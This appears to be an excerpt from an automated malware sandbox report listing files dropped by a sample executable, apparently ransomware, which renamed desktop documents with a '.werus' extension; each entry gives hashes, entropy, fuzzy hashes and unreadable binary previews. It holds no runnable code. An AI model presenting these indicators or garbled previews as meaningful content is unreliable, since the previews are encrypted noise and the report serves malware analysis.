SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\Desktop\DUUDTUBZFW.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.828220413993666
Encrypted:	false
SSDEEP:	24:g13yKrR1kMESHgJN/DHMtOdU2xClZUH3AS3QKY94QE:eiKd1V1gJN/DHMtTIDHw0QKYGQE
MD5:	2D0ABCE385246A61C179DF80E9219CBF
SHA1:	0ABA438E60CB193864B4A0C382D14E309B899A7F
SHA-256:	E1CC73C4B5426A8DD9246610E20C89387E8D027AABD758AD504A66707989BBCB
SHA-512:	296A384489120B8954C7C5DA8DC9141D6A7BDD196D44122D5077DCADEB1EB069644D79B6690D18293748FD0271A74DBBCFDEB8BF841CDDCD7B046361B5EB8434
Malicious:	false
Preview:	<s..AfiN.....M.5x..d.>.l.....{....k.p........$.}>..........~......4..O.~..N.c.;.7..)>.>4..p...E......c...g..od...fi7K...7g=q.P...B....#.n..\_.O..N.L.'Z.3..F.../$...-8X.z...d,..j.1.>?..z/....M..+..e....LE.v../.:3&T...tfz...ov.8.)}.>.N.T.P.ky{.....%%i......$...hL8.c.).<.^QZX...a...j..DX.%....w.b..j..:@.W...c.G.........x.........'.d..@..?.'.y.)..i...{.GI.6x.H1.q(...ZVr~..}.....FE.g\|......q.H.h<.S #...A<I..iu.`."?.....K}......W$..P.Uc..\|..,.............k.Z..h.0a`.....HR2jL....!.UVZP.t...F.(...;H..@..K.&~\|~............D..M.....^S.]j....=.N...q$..V..%%J..#w.......W.7. .6....2....n...J.....h.I..tZN\Hb..a.4..;3j:#.a.A.X?..%>v......yq..t7(A..3I...y...8i.c....n..}.U;G..]..@.fQ..]Q...o..o.F<Q.o...7.)m.....0..W.)V...#....w......;v....\N....d.5..:[..#[=...e=.`.zk.w........af..S.....(..2....V?y%v%.........zC3.\|+.E.....E.Z...Ve=s...'F...u.f.T4..F..S}.+.........:0...=.\|.f....PY.W.Z...[..E.92C..}..Z.WC"#...u.....+b.r..r..>.jb..!....5k.....7

C:\Users\user\Desktop\EFOYFBOLXA.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798255607866141
Encrypted:	false
SSDEEP:	24:wRQt4ltDWFW96dFC3MFEC/cIoi4CV5fIZBb+Cbi:uUE90W8dY3MWCLFgjs
MD5:	F0A2E536D14085B332671A54E1C8E828
SHA1:	A75A8E0D8EEDBC9C992E8B4D499EA04F369384AC
SHA-256:	3CB2950FAC9DBDD07CCAF61B645DC96D842264EDA67EB63A59017BDF836F5C91
SHA-512:	2D1EE758C8E12C77465C0B50A69EA69E82CC76F814EED9A309C23955DB8B25081AF79971D1A534263C84CFBD7C3394F6675FD5754D012CAB5D4D20AEDAB5C829
Malicious:	false
Preview:	K_.d.o.....<1@.=U.....kF.D%N..D......(.3..mub..wn.9tC......X.Q.d..i.......Jhq)....o.......1.S)L.....x{...E.Wc..Q..9._...jUp.R\......E.>C=Z.WB9A.2..?.i....}iLL...sq..........>B..Y..I$kC.P..ab.m.Q..h.$Qu.5f;?[....!NO.?...lhbu.~.Q.<.Q..W2.s.s5...\p.\.xB7.-...E`..j...6...>.]f. ;..y......zj.BT.v....7...53......\|..,......Cb .......N......V..k.Fg.KBs....}.....2.6...x...g.ZW[.....2..ix.......0..z...A.Y.n2s.t.....j......Y.=..y=q..q....%.[>.K.n.....#.I.Hcp.VYB..SI..1./5..x...T.......ge.V.]....[:...\|51..S....?@..g.......IR..\.K..t..?..y......@..M5.sw..$..7..U..'.R.Hl...b....../....(.;-h.........uK.!.).......z.p..3........\|.......70.S.D~N..i.s..U;R....+%.\|..K.O".3.E(.Rq.Ki..5@.^.]..!..J..~].+...]".b.3~.;.z9P..9.T...j.d..Na. .....j>.Qo..5.:.9]W....1... N.~.S.....`L3....;..h.f.7SBu..Zi.5..a...h....v...J%.T.rSFk.6.....o..u6bT,#/.Q.).."d...dBLz.....@.....\|./P........>.GDls..yv..$..9.^...B...S...'.....@....3Qu..f..'5.2.[...1.x..SP...n....3.[.j~R..

C:\Users\user\Desktop\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\Desktop\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Desktop\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Desktop\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\Desktop\Excel.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2464
Entropy (8bit):	7.910854757555152
Encrypted:	false
SSDEEP:	48:A5g4MpKQuMQTB84MBdSr+chPPXc9nB7swIgPjTqhaIovojroFjo:wpQuMQTB8VBFchPPs9nB4gPjTqMIovoN
MD5:	6E5A34A3FD0006AD2632C40D9122374B
SHA1:	D61A01A4C14C8CC9203D7493DA6A97193E627A45
SHA-256:	AE3E08F1119DA314E0ABED40E2D907CE729045F84192FDBF9CC97E0DB61FD707
SHA-512:	EC2A1988A8FAE2428FA2EBA33A5D821D88BB60A835865607297A6C2A88B26939E4B868C5AFF763551DC74D5FE16A244A35172C1EB49E05D42FB6868AF2039E2B
Malicious:	false
Preview:	.i........B..Tf.].....y.....y...._~..I........c..Z9xC......wBB._.3.~.WR3.-+^.......@W..B.[..I..tBrjQ.h^...~k...:{...N..C...b.n.+4..SI).....4...T."......D4(........e....>B.......QH..ar.Di.kE.........S.}W...?].EQ.7....0.......Y?vSd..]c.Qo...L...o...[&/...E8..B.p.f:...g..lBIHQ...>...rv........B.3.=...gA...5q..62+p.^`....#t/,.V.d......<O.4\$.t.......v4.\|...........N......?.S...@.....#.....fQUz.DK.H$..W.2..N.3.O.f......C..\|rv.6....LS./.x.u......o.O....".N.....0g......&.P...6n.Z8..u.e...\......\|..R..........,c.).V4....t.2....\|.C.....,..X.:).kHkC.T.. .x...^...R........".<L\`./,...,....i'.`.....I/.&>..me~........[8B...VT...b..x......]B..zR.S.&..Q.....m..2'.3}.p....<...[1....WmJ....SI.......{h...re....Rx...Sc.A........"....DT*.BB4.`5X..^...P...l...J.....\|....B.<.R2.....56-.;\.S-.......=9.Z....DGt...{.E.6..t".......1..u.[.^...r...d..+dR.$u.(.m.k....K.p..\|.Q.....+...EK:9` ").......&$.......K....-s{...H..r.N...+s..Q..G8....W.K....

C:\Users\user\Desktop\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\Desktop\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Desktop\GRXZDKKVDB.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
Preview:	2........R_. .H_..e....Xt........(...T.Z..$/....t.`.M..#..x...."..5;....B..s/..eL.s.?.....T....tF.......:..E.sE....5...9. .../.N[..}...C;y...6v..^.8.Q.'..5....H..)........}.W.q...p..K#4.D...g......`.a..b...K...=a.Y..@..Yo..6..4.....y..l@B.'."...+S.n...%.i1....q..!3KW..a>D.OY.hc..i+.k.KC.u.u.P{O....0B....L....HUJ.X4.R>..R...M.....\|'.@...i{.zp..........LK.D.g.n..M.65....F...9@..."7.......h..\kc.py.@......_......}.`...?..51%.@..$>.....lv..>....j.Y}..2...&~.)!....$.t....E-WFW>..s.s..M.o..<9.K.G.E..`t...=...+..;..4.d.c.,0p....-...[....z#...i..f.3....Ib...3k..@..V.&..&d...k.....)...b(.yL"..5...:.8@`O.]8....i"8.UC'.zCd.......+z...E..o@_.)9.l>.....kE..Xq.R.!qo..J..c..0z..M.?...mp.L/..X.....T.......K`.......~....m..Q..>;.~n..c......#.9.H...g..c./y..... .1.C...] ...!..q...8{..t.d.+.>Vx..V<..+...tAsa.t..h..`7...M..?@.'.-......p.a5..!.....O._..M.;.....E....^c..Z#S.Y.tN.^...0......1sf.L..t...!x..[....N#....{.5.....s.O%......<.....&C.2

C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.821759292904752
Encrypted:	false
SSDEEP:	24:A5YpqcwsjvoHO2BMR5vWX4I/5EIkcNru+:Csjvj2B0BIKI/ru+
MD5:	D85432824EBA0146E4DA3D48352C2A6A
SHA1:	5C92A2A09D91489EE32D903574C060F25900E365
SHA-256:	FA777A3D31F5F9A7C4E47FC7894C2CF7D2633278394CBDE2E961332188919C0B
SHA-512:	7425A19A58120C10688C805618F7E1C996DE87A5AF7C574E40BCD2E338C8037E0CE63951BF107E37DF4EDB2BE3010A1CA3C7660863EFC581D74579F006FF4622
Malicious:	false
Preview:	R..#].......f9..n.{.=.8oBMG.,.H2......Xc...a.W..20\x.u..n..He.y..g.H..+z.[.....+FoS....u.....:........9~k+...es.R.O.e.r.)......7.SI...($b@..{....J.T..s..).a..V& R..K.7r......x`..y-0...=...J...........%U.1h.K..<.....;M(....q. .a.[.^....B.....".m. .N..z64m.......Qq4\|.h...^4...>.M.3.^.]...j.U.;U'.....'](...{5.CM.QR.U..;...l......dB.3...}$..BZ]p+.....-...K...kevM...1I.....N.QZ.Y..Q...d`.?..WE..]\|..o...b.....a..\".Z.!.:.C.F/d..+.i."w7."".U+..d.O..k.']3I._.\|..,D.&.E......:.G..~.0...F..6./...~&......-...1}p.y*...$.l@YW.=e...5..CdI-.7...mI.$c..\..n.oXL.......j.[MY.U....C....2........$.w7L.K..b.l..).vH................aV.a%..z..<.#.K.(...`..7....y..%...I'';S\|..A.M#.....V<d.x._....:...;.:..o.w.."R{9&.g.e..d&..o{.b=.......F.O............F.8...!J.Z.u,....,W....F..0.r.r.db.;.9."b..t.o..^Y.C..z.....bM`o>..zR...1.xc.....K....S.2....'..u........3.Ak.r]...[..A.M.......#.gEi...$.#-.......H.N....,O.;...W.<.....k..;a.J.[F;~&h....\|e....X.$..Y.S/.

C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.827669742151911
Encrypted:	false
SSDEEP:	24:fgnoBx3i42aqrB6uMNImyUX0hwYQoe/Yx7KlGA9fPR0A+JlcHWwi:fgns3i458HZmNEWY7KlxfJ03lWWwi
MD5:	97414FC7A2AC9A9EE61DE1D3402538F6
SHA1:	EB849C45F020DCEFC4BC1E93792B8D4D2FFAEB4B
SHA-256:	017C0B78A08EBD838FD39EC2930EC91A9BB814C66F05F25CF3E6AAAE325A74F0
SHA-512:	7D65B4FCD395523AFD34A5F968FF19A518D7D004616150F0F10EC7F080C9B902876DE4BD0C92E53495DAEFD72244CAF1BD05EB35A1467F2E6FF2F0B1859565DE
Malicious:	false
Preview:	`6.......h...K.zI.A.^j`9..9....<..:.3../.$.......3..Z....o.1.W.P:;.@y.ut.AU^....._0...)..............8u......R....`.C...S.....`.);3.l....f.7...o.4..Q.P..BN.+F......]u{....~K`)....f6..../.1C(....p..T...m...V}./...uR~..2.Z..c..x....).....U...9...!....K.....l.i.t.@.\|.r.7.....u...u`.....t.^1.C.\|.bj~pI....$&...BXL../...8......>.S..E19X.\|..coE...-...R..\|.X.9.P}.I....,..!..W.T......."9{.l.I.-.....V(Z.......%Enw.....\|q..SQkr].f"/...FS.D!...(M-n..s.{.o..R....\9...'...n.=.......4..?C../..c..<.......8A..S..vJ....sKC.^.....:......eNn...)&Y...K....3..6. ...LP%.j....FJ=...X..x.D....v.0......y#...=T.Z7..G(a.8.....r.B......y....W..B.....^.$....u..1...2.c.?...vt....ad......l.aF..#.@....].....^D.J...@...^....J.9..M8...Co..Pn../..N...g9.j..'a.n{.I.A..\*.7+F..%R..~...G.P.4..;.....9..<..8n......e..Ju.ZaHT._.....0KZ...w..M.\|..D6},.4......\|.........CYxQ..a+.1J+..X=...;..$...n..3.. .3.r.x.n..-.)W:z.LD....S....z..[I....X.e$...(kS....84... ...B~.....y.{.;

C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.818295075917987
Encrypted:	false
SSDEEP:	24:PoGrfdfDSL3RcQoaBpX1M5PYk76TSLFcLEmTdMP86sSfAvj9T:wGrfdGL3iyDFkaTSLFqlT+P/fwj1
MD5:	A2C57B0A762457C69AC5F09A96A32E39
SHA1:	B0C84D0612E14608199EF729B08886ECFB166675
SHA-256:	04153BA8EB9949BE92DBED893F9EA4FAEBA7141240312BA2AA02228B18D04BFD
SHA-512:	B291BAEB2DA3F9D4E31D0A37443E83A3B22D82C19FD9024345F66A761EEB1725ABF653AA99BF64ED34FB3C6B1855A21E7ADE79A82738A4EF74B68E67F2E7BD24
Malicious:	false
